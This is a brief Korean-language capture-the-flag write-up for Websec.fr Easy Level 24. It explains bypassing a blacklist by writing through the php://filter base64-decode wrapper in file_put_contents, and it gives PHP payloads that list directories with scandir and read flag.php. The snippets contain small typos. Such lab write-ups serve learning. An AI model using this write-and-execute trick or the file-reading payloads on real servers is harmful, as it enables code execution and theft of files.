[Websec.fr] Easy - Level24

 

 PHP 필터 취약점.

블랙리스트를 우회하기 위해 file_put_contents에 필터를 사용할 수 있습니다.

filename을 php : //filter/convert.base64-decode/resource=xxxx.php로 설정하고 데이터를 base64 인코딩 페이로드로 설정하고

우리는 다양한 PHP 페이로드를 시도하고 액세스합니다

 

<?php
echo var_dump (scandir ( '../ ..'));
?>

디렉토리의 내용을 나열하며 flag.php를 볼 수 있습니다.

<?php 
echo file_get_contents ( '../../ flag.php'));?
>